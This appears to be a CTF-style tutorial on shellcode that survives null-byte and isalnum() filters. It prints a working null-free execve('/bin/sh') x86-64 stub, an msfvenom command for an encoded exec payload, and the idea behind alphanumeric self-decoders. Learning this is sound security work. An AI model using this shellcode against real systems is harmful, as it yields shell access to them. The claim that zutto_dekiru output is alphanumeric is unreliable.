shellcoding under constraints — null-free and alphanumeric

A 24-byte execve("/bin/sh") stub is easy until you notice how it reaches memory. Through strcpy, a single null byte truncates it. Through scanf("%s"), whitespace cuts it. Through an isalnum() filter, almost every opcode is rejected. The shellcode has to survive the channel, which means choosing each instruction for the bytes it encodes to, not only what it does.

null-free: pick instructions that don't encode 0x00#

The usual offenders are zero immediates and certain register encodings. Replace them with self-zeroing and small-immediate forms:

1
2
3
4
5
6
7
8

xor  rsi, rsi          ; rsi = 0   (not  mov rsi,0  -> that's a null immediate)
push rsi               ; null terminator for the string
movabs rdi, 0x68732f2f6e69622f   ; "/bin//sh"  — doubled slash avoids a 0x00 byte
push rdi
push rsp ; pop rdi     ; rdi -> "/bin//sh"
xor  rdx, rdx          ; rdx = 0  (envp)
push 0x3b ; pop rax    ; rax = 59 (execve) via small immediate, no null
syscall

The recurring tricks: xor reg,reg instead of mov reg,0; push 0x3b; pop rax instead of mov rax,0x3b; and /bin//sh so the eight string bytes contain no terminator of their own. Verify before you ship it:

1
2

$ objdump -d sc.o | ... | grep ' 00 '      # any null bytes? (want none)
$ python3 -c "import sys; b=open('sc.bin','rb').read(); print(0 in b)"   # -> False

alphanumeric: a decoder you can spell#

When the filter is isalnum(), only a sliver of x86 opcodes are even legal — some push/pops, xor, imul, inc/dec, the [A-Za-z0-9] range. You can't write syscall (0f 05) directly in that alphabet. The standard answer is a self-decoding stub: a tiny loader written entirely in legal bytes that reconstructs your real shellcode in memory and jumps to it.

• a legal prologue finds its own address (the alphanumeric equivalent of a get-eip),
• then a legal arithmetic loop writes the forbidden bytes (0f 05, etc.) into a buffer just ahead of it by adding/subtracting alphanumeric constants,
• then control falls into the decoded payload.

Hand-rolling that is a puzzle; in practice you generate it and inspect it:

1
2
3
4

$ msfvenom -p linux/x64/exec CMD=/bin/sh -e x64/zutto_dekiru -f raw > sc.bin
# or pwntools: pwnlib.encoders / pwnlib.shellcraft, then verify the alphabet:
$ python3 -c "b=open('sc.bin','rb').read(); \
  print(all(chr(c).isalnum() for c in b))"     # -> True

1

segfault{i_spelled_a_shell_in_letters}

the mindset#

• Know your alphabet before you write a byte. The channel (strcpy, %s, isalnum, sometimes "printable ASCII only") defines the legal set; design to it.
• Encoding ≠ effect. Two instructions with the same effect can have wildly different bytes; shellcoding is choosing the encoding that fits the channel.
• Decoders buy you everything. If the legal alphabet can express a loop and a write, it can express a decoder, and a decoder can reconstruct any payload. That's why even a brutal filter rarely means "no shellcode."

NX makes all of this moot on modern targets — you ROP instead. But on the boxes where shellcode still runs (kernels, embedded, JIT pages, CTF), getting bytes past a hostile parser is its own small discipline, and it's a satisfying one.